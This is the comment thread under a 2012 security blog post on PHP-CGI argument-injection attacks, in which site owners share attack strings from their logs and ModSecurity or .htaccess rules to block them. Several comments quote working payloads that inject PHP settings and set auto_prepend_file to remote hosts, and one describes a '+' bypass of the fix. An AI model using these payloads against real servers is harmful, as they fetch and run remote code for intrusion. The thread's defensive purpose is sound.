« Bypass Vulnerabilities in Squid and McAfee Web Access Gateway | Main | PHP-CGI Exploitation by Example »

07 May 2012

Comments

I AM USING NGINX HOW DO I PROTECT MYSELF AGAINST THIS?

Sorry for the caps you need line between your comments

I should add that the string used was the following:

index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.83%2Finfo3.txt

I have also had a number or these attempts lately. Please forgive my ignorance as I'm not very good with .htaccess
From reading the above, and its' comments, would I be correct in adding the following in order to implement the block suggested in both the initial post and the following comment?:

RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} \?\+?-[sdcr]$ [NC]
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]

Many thanks in advance.

You are correct in that there was the "+" potential bypass, however ModSecurity handles that with the urlDecodeUni and removeWhitespace transformation functions. Here is how the debug log looks when I send this attack with the "+" sign in it -

GET /?+-d+auto_prepend_file=http://r00texp.narod2.ru/ows.txt HTTP/1.0

Debug log:

Recipe: Invoking rule b7fddfc8; [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"].
Rule b7fddfc8: SecRule "QUERY_STRING" "@rx ^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"
T (0) urlDecodeUni: " -d auto_prepend_file=http://r00texp.narod2.ru/ows.txt"
T (0) removeWhitespace: "-dauto_prepend_file=http://r00texp.narod2.ru/ows.txt"
Transformation completed in 13 usec.
Executing operator "rx" with param "^-[sdcr]" against QUERY_STRING.
Target value: "-dauto_prepend_file=http://r00texp.narod2.ru/ows.txt"
Operator completed in 7 usec.
Warning. Pattern match "^-[sdcr]" at QUERY_STRING. [file "/etc/apache2/modsecurity-crs/base_rules/modsecurity_crs_15_custom.conf"] [line "1"] [msg "Potential PHP-CGI Exploit Attempt"]

One thing - the PHP-CGI fix doesn't actually fix the issue in question, as one can just prepend a + to the URL, and it bypasses it (a la http://derp.com/+-s ), so the rule RE should look like:

"\?\+?-[sdcr]"

to block those as well. This should match a + if it's there, otherwise fall back to your rule!

Verify your Comment

Previewing your Comment

This is only a preview. Your comment has not yet been posted.

Working...
Your comment could not be posted. Error type:
Your comment has been posted. Post another comment

The letters and numbers you entered did not match the image. Please try again.

As a final step before posting your comment, enter the letters and numbers you see in the image below. This prevents automated programs from posting comments.

Having trouble reading this image? View an alternate.

Working...

Post a comment